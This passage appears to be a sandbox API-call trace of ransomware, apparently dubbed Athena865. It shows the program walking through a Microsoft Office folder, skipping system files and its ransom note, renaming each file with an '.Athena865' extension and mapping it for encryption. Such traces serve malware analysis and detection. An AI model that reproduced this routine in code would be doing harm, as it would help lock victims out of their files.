returned 1 [0067.497] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0067.497] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0067.498] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0067.498] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0067.498] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0067.498] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0067.508] CloseHandle (hObject=0x154) returned 1 [0067.508] CloseHandle (hObject=0x17c) returned 1 [0067.508] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0067.508] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0067.508] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0067.511] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb31e1b00, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x5171bc90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb31e1b00, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x46080, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ASCIIENG.LNG", cAlternateFileName="")) returned 1 [0067.511] lstrcmpiW (lpString1="ASCIIENG.LNG", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0067.512] lstrcmpiW (lpString1="ASCIIENG.LNG", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0067.512] lstrcmpiW (lpString1="ASCIIENG.LNG", lpString2=".") returned 1 [0067.512] lstrcmpiW (lpString1="ASCIIENG.LNG", lpString2="..") returned 1 [0067.512] lstrcmpiW (lpString1="ASCIIENG.LNG", lpString2="windows") returned -1 [0067.512] lstrcmpiW (lpString1="ASCIIENG.LNG", lpString2="bootmgr") returned -1 [0067.512] lstrcmpiW (lpString1="ASCIIENG.LNG", lpString2="temp") returned -1 [0067.512] lstrcmpiW (lpString1="ASCIIENG.LNG", lpString2="pagefile.sys") returned -1 [0067.512] lstrcmpiW (lpString1="ASCIIENG.LNG", lpString2="boot") returned -1 [0067.512] lstrcmpiW (lpString1="ASCIIENG.LNG", lpString2="ids.txt") returned -1 [0067.512] lstrcmpiW (lpString1="ASCIIENG.LNG", lpString2="ntuser.dat") returned -1 [0067.512] lstrcmpiW (lpString1="ASCIIENG.LNG", lpString2="perflogs") returned -1 [0067.512] lstrcmpiW (lpString1="ASCIIENG.LNG", lpString2="MSBuild") returned -1 [0067.512] lstrlenW (lpString="ASCIIENG.LNG") returned 12 [0067.512] lstrcpyW (in: lpString1=0x241e89e, lpString2="ASCIIENG.LNG" | out: lpString1="ASCIIENG.LNG") returned="ASCIIENG.LNG" [0067.512] lstrlenW (lpString="ASCIIENG.LNG") returned 12 [0067.512] lstrlenW (lpString="Athena865") returned 9 [0067.512] lstrcmpiW (lpString1="IIENG.LNG", lpString2="Athena865") returned 1 [0067.512] lstrlenW (lpString=".dll") returned 4 [0067.512] lstrcmpiW (lpString1="ASCIIENG.LNG", lpString2=".dll") returned 1 [0067.512] lstrlenW (lpString=".lnk") returned 4 [0067.512] lstrcmpiW (lpString1="ASCIIENG.LNG", lpString2=".lnk") returned 1 [0067.512] lstrlenW (lpString=".ini") returned 4 [0067.512] lstrcmpiW (lpString1="ASCIIENG.LNG", lpString2=".ini") returned 1 [0067.512] lstrlenW (lpString=".sys") returned 4 [0067.512] lstrcmpiW (lpString1="ASCIIENG.LNG", lpString2=".sys") returned 1 [0067.512] lstrlenW (lpString="ASCIIENG.LNG") returned 12 [0067.512] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG.Athena865") returned 65 [0067.512] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\asciieng.lng"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\asciieng.lng.athena865"), dwFlags=0x1) returned 1 [0067.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\asciieng.lng.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0067.514] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=286848) returned 1 [0067.514] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0067.514] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0067.514] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0067.514] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0067.515] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0067.515] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0067.515] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x46380, lpName=0x0) returned 0x154 [0067.517] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x46380) returned 0x2d50000 [0067.567] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0067.568] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0067.568] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0067.568] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0067.568] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0067.568] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0067.568] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0067.568] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0067.568] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0067.568] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0067.568] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0067.568] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0067.568] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0067.569] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0067.571] CloseHandle (hObject=0x154) returned 1 [0067.571] CloseHandle (hObject=0x17c) returned 1 [0067.571] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0067.571] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0067.571] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0067.573] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3d5cf00, ftCreationTime.dwHighDateTime=0x1ca982d, ftLastAccessTime.dwLowDateTime=0x5171bc90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3d5cf00, ftLastWriteTime.dwHighDateTime=0x1ca982d, nFileSizeHigh=0x0, nFileSizeLow=0x22db8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AUDIOSEARCHLTS.DLL", cAlternateFileName="AUDIOS~1.DLL")) returned 1 [0067.573] lstrcmpiW (lpString1="AUDIOSEARCHLTS.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0067.573] lstrcmpiW (lpString1="AUDIOSEARCHLTS.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0067.573] lstrcmpiW (lpString1="AUDIOSEARCHLTS.DLL", lpString2=".") returned 1 [0067.573] lstrcmpiW (lpString1="AUDIOSEARCHLTS.DLL", lpString2="..") returned 1 [0067.573] lstrcmpiW (lpString1="AUDIOSEARCHLTS.DLL", lpString2="windows") returned -1 [0067.573] lstrcmpiW (lpString1="AUDIOSEARCHLTS.DLL", lpString2="bootmgr") returned -1 [0067.573] lstrcmpiW (lpString1="AUDIOSEARCHLTS.DLL", lpString2="temp") returned -1 [0067.573] lstrcmpiW (lpString1="AUDIOSEARCHLTS.DLL", lpString2="pagefile.sys") returned -1 [0067.573] lstrcmpiW (lpString1="AUDIOSEARCHLTS.DLL", lpString2="boot") returned -1 [0067.573] lstrcmpiW (lpString1="AUDIOSEARCHLTS.DLL", lpString2="ids.txt") returned -1 [0067.573] lstrcmpiW (lpString1="AUDIOSEARCHLTS.DLL", lpString2="ntuser.dat") returned -1 [0067.573] lstrcmpiW (lpString1="AUDIOSEARCHLTS.DLL", lpString2="perflogs") returned -1 [0067.573] lstrcmpiW (lpString1="AUDIOSEARCHLTS.DLL", lpString2="MSBuild") returned -1 [0067.573] lstrlenW (lpString="AUDIOSEARCHLTS.DLL") returned 18 [0067.573] lstrcpyW (in: lpString1=0x241e89e, lpString2="AUDIOSEARCHLTS.DLL" | out: lpString1="AUDIOSEARCHLTS.DLL") returned="AUDIOSEARCHLTS.DLL" [0067.573] lstrlenW (lpString="AUDIOSEARCHLTS.DLL") returned 18 [0067.573] lstrlenW (lpString="Athena865") returned 9 [0067.573] lstrcmpiW (lpString1="CHLTS.DLL", lpString2="Athena865") returned 1 [0067.573] lstrlenW (lpString=".dll") returned 4 [0067.573] lstrcmpiW (lpString1="AUDIOSEARCHLTS.DLL", lpString2=".dll") returned 1 [0067.573] lstrlenW (lpString=".lnk") returned 4 [0067.573] lstrcmpiW (lpString1="AUDIOSEARCHLTS.DLL", lpString2=".lnk") returned 1 [0067.574] lstrlenW (lpString=".ini") returned 4 [0067.574] lstrcmpiW (lpString1="AUDIOSEARCHLTS.DLL", lpString2=".ini") returned 1 [0067.574] lstrlenW (lpString=".sys") returned 4 [0067.574] lstrcmpiW (lpString1="AUDIOSEARCHLTS.DLL", lpString2=".sys") returned 1 [0067.574] lstrlenW (lpString="AUDIOSEARCHLTS.DLL") returned 18 [0067.574] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL.Athena865") returned 71 [0067.574] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchlts.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchlts.dll.athena865"), dwFlags=0x1) returned 1 [0067.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchlts.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0067.575] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=142776) returned 1 [0067.575] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0067.576] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0067.576] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0067.576] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0067.576] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0067.576] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0067.577] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x230c0, lpName=0x0) returned 0x154 [0067.578] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x230c0) returned 0x170000 [0067.587] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0067.588] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0067.588] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0067.588] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0067.588] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0067.588] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0067.588] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0067.588] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0067.588] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0067.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0067.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0067.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0067.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0067.589] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0067.590] CloseHandle (hObject=0x154) returned 1 [0067.590] CloseHandle (hObject=0x17c) returned 1 [0067.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0067.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0067.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0067.591] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3d5cf00, ftCreationTime.dwHighDateTime=0x1ca982d, ftLastAccessTime.dwLowDateTime=0x5f3e3510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3d5cf00, ftLastWriteTime.dwHighDateTime=0x1ca982d, nFileSizeHigh=0x0, nFileSizeLow=0x197378, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AUDIOSEARCHMAIN.DLL", cAlternateFileName="AUDIOS~3.DLL")) returned 1 [0067.591] lstrcmpiW (lpString1="AUDIOSEARCHMAIN.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0067.591] lstrcmpiW (lpString1="AUDIOSEARCHMAIN.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0067.591] lstrcmpiW (lpString1="AUDIOSEARCHMAIN.DLL", lpString2=".") returned 1 [0067.591] lstrcmpiW (lpString1="AUDIOSEARCHMAIN.DLL", lpString2="..") returned 1 [0067.591] lstrcmpiW (lpString1="AUDIOSEARCHMAIN.DLL", lpString2="windows") returned -1 [0067.591] lstrcmpiW (lpString1="AUDIOSEARCHMAIN.DLL", lpString2="bootmgr") returned -1 [0067.591] lstrcmpiW (lpString1="AUDIOSEARCHMAIN.DLL", lpString2="temp") returned -1 [0067.592] lstrcmpiW (lpString1="AUDIOSEARCHMAIN.DLL", lpString2="pagefile.sys") returned -1 [0067.592] lstrcmpiW (lpString1="AUDIOSEARCHMAIN.DLL", lpString2="boot") returned -1 [0067.592] lstrcmpiW (lpString1="AUDIOSEARCHMAIN.DLL", lpString2="ids.txt") returned -1 [0067.592] lstrcmpiW (lpString1="AUDIOSEARCHMAIN.DLL", lpString2="ntuser.dat") returned -1 [0067.592] lstrcmpiW (lpString1="AUDIOSEARCHMAIN.DLL", lpString2="perflogs") returned -1 [0067.592] lstrcmpiW (lpString1="AUDIOSEARCHMAIN.DLL", lpString2="MSBuild") returned -1 [0067.592] lstrlenW (lpString="AUDIOSEARCHMAIN.DLL") returned 19 [0067.592] lstrcpyW (in: lpString1=0x241e89e, lpString2="AUDIOSEARCHMAIN.DLL" | out: lpString1="AUDIOSEARCHMAIN.DLL") returned="AUDIOSEARCHMAIN.DLL" [0067.592] lstrlenW (lpString="AUDIOSEARCHMAIN.DLL") returned 19 [0067.592] lstrlenW (lpString="Athena865") returned 9 [0067.592] lstrcmpiW (lpString1="HMAIN.DLL", lpString2="Athena865") returned 1 [0067.592] lstrlenW (lpString=".dll") returned 4 [0067.592] lstrcmpiW (lpString1="AUDIOSEARCHMAIN.DLL", lpString2=".dll") returned 1 [0067.592] lstrlenW (lpString=".lnk") returned 4 [0067.592] lstrcmpiW (lpString1="AUDIOSEARCHMAIN.DLL", lpString2=".lnk") returned 1 [0067.592] lstrlenW (lpString=".ini") returned 4 [0067.592] lstrcmpiW (lpString1="AUDIOSEARCHMAIN.DLL", lpString2=".ini") returned 1 [0067.592] lstrlenW (lpString=".sys") returned 4 [0067.592] lstrcmpiW (lpString1="AUDIOSEARCHMAIN.DLL", lpString2=".sys") returned 1 [0067.592] lstrlenW (lpString="AUDIOSEARCHMAIN.DLL") returned 19 [0067.592] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL.Athena865") returned 72 [0067.592] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchmain.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchmain.dll.athena865"), dwFlags=0x1) returned 1 [0067.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchmain.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0067.593] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1667960) returned 1 [0067.593] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0067.594] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0067.594] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0067.594] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0067.594] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0067.594] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0067.595] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x197680, lpName=0x0) returned 0x154 [0067.596] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x197680) returned 0x2d50000 [0067.667] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0067.668] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0067.668] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0067.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0067.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0067.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0067.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0067.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0067.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0067.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0067.669] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0067.669] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0067.669] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0067.669] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0067.683] CloseHandle (hObject=0x154) returned 1 [0067.683] CloseHandle (hObject=0x17c) returned 1 [0067.683] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0067.683] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0067.684] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0067.691] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3d5cf00, ftCreationTime.dwHighDateTime=0x1ca982d, ftLastAccessTime.dwLowDateTime=0x51741df0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3d5cf00, ftLastWriteTime.dwHighDateTime=0x1ca982d, nFileSizeHigh=0x0, nFileSizeLow=0x223998, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AUDIOSEARCHSAPIFE.DLL", cAlternateFileName="AUDIOS~2.DLL")) returned 1 [0067.691] lstrcmpiW (lpString1="AUDIOSEARCHSAPIFE.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0067.691] lstrcmpiW (lpString1="AUDIOSEARCHSAPIFE.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0067.691] lstrcmpiW (lpString1="AUDIOSEARCHSAPIFE.DLL", lpString2=".") returned 1 [0067.691] lstrcmpiW (lpString1="AUDIOSEARCHSAPIFE.DLL", lpString2="..") returned 1 [0067.691] lstrcmpiW (lpString1="AUDIOSEARCHSAPIFE.DLL", lpString2="windows") returned -1 [0067.691] lstrcmpiW (lpString1="AUDIOSEARCHSAPIFE.DLL", lpString2="bootmgr") returned -1 [0067.691] lstrcmpiW (lpString1="AUDIOSEARCHSAPIFE.DLL", lpString2="temp") returned -1 [0067.691] lstrcmpiW (lpString1="AUDIOSEARCHSAPIFE.DLL", lpString2="pagefile.sys") returned -1 [0067.691] lstrcmpiW (lpString1="AUDIOSEARCHSAPIFE.DLL", lpString2="boot") returned -1 [0067.691] lstrcmpiW (lpString1="AUDIOSEARCHSAPIFE.DLL", lpString2="ids.txt") returned -1 [0067.691] lstrcmpiW (lpString1="AUDIOSEARCHSAPIFE.DLL", lpString2="ntuser.dat") returned -1 [0067.691] lstrcmpiW (lpString1="AUDIOSEARCHSAPIFE.DLL", lpString2="perflogs") returned -1 [0067.691] lstrcmpiW (lpString1="AUDIOSEARCHSAPIFE.DLL", lpString2="MSBuild") returned -1 [0067.691] lstrlenW (lpString="AUDIOSEARCHSAPIFE.DLL") returned 21 [0067.691] lstrcpyW (in: lpString1=0x241e89e, lpString2="AUDIOSEARCHSAPIFE.DLL" | out: lpString1="AUDIOSEARCHSAPIFE.DLL") returned="AUDIOSEARCHSAPIFE.DLL" [0067.691] lstrlenW (lpString="AUDIOSEARCHSAPIFE.DLL") returned 21 [0067.691] lstrlenW (lpString="Athena865") returned 9 [0067.691] lstrcmpiW (lpString1="APIFE.DLL", lpString2="Athena865") returned -1 [0067.691] lstrlenW (lpString=".dll") returned 4 [0067.691] lstrcmpiW (lpString1="AUDIOSEARCHSAPIFE.DLL", lpString2=".dll") returned 1 [0067.691] lstrlenW (lpString=".lnk") returned 4 [0067.691] lstrcmpiW (lpString1="AUDIOSEARCHSAPIFE.DLL", lpString2=".lnk") returned 1 [0067.691] lstrlenW (lpString=".ini") returned 4 [0067.691] lstrcmpiW (lpString1="AUDIOSEARCHSAPIFE.DLL", lpString2=".ini") returned 1 [0067.691] lstrlenW (lpString=".sys") returned 4 [0067.692] lstrcmpiW (lpString1="AUDIOSEARCHSAPIFE.DLL", lpString2=".sys") returned 1 [0067.692] lstrlenW (lpString="AUDIOSEARCHSAPIFE.DLL") returned 21 [0067.692] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL.Athena865") returned 74 [0067.692] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchsapife.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchsapife.dll.athena865"), dwFlags=0x1) returned 1 [0067.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchsapife.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0067.693] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2242968) returned 1 [0067.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0067.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0067.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0067.693] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0067.694] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0067.694] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0067.694] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, 